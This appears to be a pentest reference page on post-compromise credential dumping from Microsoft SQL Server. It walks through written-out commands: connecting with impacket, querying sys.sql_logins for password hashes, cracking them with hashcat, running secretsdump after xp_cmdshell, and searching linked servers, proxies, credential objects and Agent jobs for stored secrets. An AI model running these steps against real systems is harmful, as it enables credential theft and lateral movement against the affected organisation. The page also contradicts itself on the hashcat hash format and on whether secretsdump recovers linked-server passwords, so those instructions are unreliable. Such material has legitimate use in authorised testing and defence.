# MSSQL Credential Dump

> Techniques for extracting credentials from MSSQL databases post-compromise, including sa accounts, linked server passwords, and stored connection strings.

- **URL:** https://hackindex.io/services/mssql/post-exploitation/mssql-credential-dump
- **Path:** MSSQL > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/services/mssql/post-exploitation.md)
- **Published:** 2026-05-15
- **Updated:** 2026-05-15

SQL Server stores its own password hashes, linked server credentials, and proxy account secrets within the instance. Sysadmin access gives read access to all of these. Extracted hashes can be cracked offline or used to identify credential reuse across other services.

Credential sources within a SQL Server instance:

- `sys.sql_logins` for SQL authentication password hashes
- Linked server login mappings for stored remote credentials
- SQL Server Agent proxy accounts (DPAPI-encrypted)
- `sys.credentials` for service master key-encrypted secrets
- Agent job steps with embedded passwords in command text

## **SQL Login Hashes: sys.sql_logins**

The sys.sql_logins catalog view contains the password hash for every SQL Server authentication account. This requires sysadmin or VIEW SERVER STATE:

```bash
impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
```

```sql
SELECT name, password_hash, is_disabled, create_date, modify_date FROM sys.sql_logins;
# name        password_hash                                          is_disabled
# sa          0x02001E6E04C3B95C2FD6E6F4A1E3B9D2C5A8F7E0B...        0
# app_user    0x0200A1B2C3D4E5F6...                                   0
# backup_svc  0x0200...                                               1
```

The `0x0200` prefix indicates MSSQL 2012+ SHA-512 hashing. Older instances may show `0x0100` (SHA-1, MSSQL 2005/2008).

Extract the hash as a string for offline cracking:

```sql
SELECT name, CONVERT(VARCHAR(MAX), password_hash, 1) AS hash_hex FROM sys.sql_logins WHERE is_disabled = 0;
```

## **Crack SQL Server Hashes with Hashcat**

SQL Server 2012+ hashes use hashcat mode 1731. The input format is the hex string from CONVERT above, stripped of the `0x` prefix:

```bash
# MSSQL 2012+ (SHA-512 based, mode 1731)
hashcat -m 1731 mssql_hashes.txt /usr/share/wordlists/rockyou.txt

# MSSQL 2005/2008 (SHA-1 based, mode 132)
hashcat -m 132 mssql_hashes.txt /usr/share/wordlists/rockyou.txt
```

Format for hashcat mode 1731: `0x0200<hash>`: keep the full hex string including the prefix.

SA passwords are often left at default or set to a weak password matching the server's local admin. Even without cracking, confirming the SA password identifies an often-reused credential.

## **Linked Server Credentials**

Linked server login mappings that use a fixed remote login store the password encrypted with the SQL Server Service Master Key, not in a registry path readable by secretsdump. Recovering these requires a dedicated tool such as PowerUpSQL's Get-SQLServerLinkPasswordDump with sysadmin access.

From within SQL Server, list the configured login mappings first:

```sql
EXEC sp_helplinkedsrvlogin;
# Linked Server   Local Login   Is Self Mapping   Remote Login
# SQL-PROD-02     NULL          0                 sa
# ORACLE-DB       NULL          0                 app_oracle
#
```

`Is Self Mapping = 0` with a remote login means a fixed credential is stored. The password is not readable via T-SQL: extract it from the registry or via secretsdump once you have OS-level SYSTEM access:

```bash
# After obtaining SYSTEM shell via xp_cmdshell
impacket-secretsdump -hashes :$NTHASH $DOMAIN/$USER@$TARGET_IP
```

Secretsdump dumps SAM, LSA secrets, and cached creds, but does not extract SQL Server linked-server passwords. Those are encrypted with the SQL Server Service Master Key and require a dedicated tool such as PowerUpSQL's `Get-SQLServerLinkPasswordDump` with sysadmin access.

## **SQL Server Agent Proxy Credentials**

Agent proxy accounts allow SQL Agent jobs to run under specific Windows credentials. These are stored in DPAPI-encrypted credential objects:

```sql
USE msdb;
SELECT p.name AS proxy_name, c.name AS credential_name, c.credential_identity
FROM dbo.sysproxies p
JOIN sys.credentials c ON p.credential_id = c.credential_id;
# proxy_name        credential_name    credential_identity
# BackupProxy       BackupAcct         CORP\backup_svc
# ReportingProxy    ReportAcct         CORP\rpt_reader
```

The plaintext password is not accessible via T-SQL. Retrieve it via the Windows Credential Manager or DPAPI, which requires SYSTEM access. See [Windows Token and Credential Harvesting](https://hackindex.io/platforms/windows/post-exploitation/windows-token-and-credential-harvesting) for the DPAPI extraction workflow.

## **Credential Objects: sys.credentials**

Service master key-encrypted credential objects store credentials used by BACKUP, OPENROWSET, and external operations:

```sql
SELECT name, credential_identity, create_date, modify_date FROM sys.credentials;
# name             credential_identity         create_date
# S3BackupCred     AKIAIOSFODNN7EXAMPLE        2023-06-01
# AzureBlobCred    storageaccount              2023-08-15
```

`credential_identity` often reveals the username or access key ID. The secret is not accessible in plaintext via T-SQL: extraction requires registry access with SYSTEM rights.

## **Search Agent Jobs for Embedded Credentials**

SQL Agent jobs frequently contain PowerShell or T-SQL with embedded connection strings or credentials passed as arguments:

```sql
USE msdb;
SELECT j.name, s.step_name, s.subsystem, s.command
FROM dbo.sysjobs j
JOIN dbo.sysjobsteps s ON j.job_id = s.job_id
WHERE s.command LIKE '%password%'
   OR s.command LIKE '%pwd%'
   OR s.command LIKE '%credential%'
   OR s.command LIKE '%-P %'
   OR s.command LIKE '%ConnectionString%';
```

Pay particular attention to PowerShell subsystem jobs and CmdExec jobs: these often pass credentials as plain arguments that appear verbatim in the command column.

## References

- [Microsoft: sys.sql_logins](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-sql-logins-transact-sql) - SQL Server auth account catalog including password hashes
- [Hashcat: MSSQL modes ](https://hashcat.net/wiki/doku.php?id=hashcat) - mode 1731 for MSSQL 2012+, mode 132 for MSSQL 2005/2008
- [Microsoft: sp_helplinkedsrvlogin ](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-helplinkedsrvlogin-transact-sql) - linked server login mapping enumeration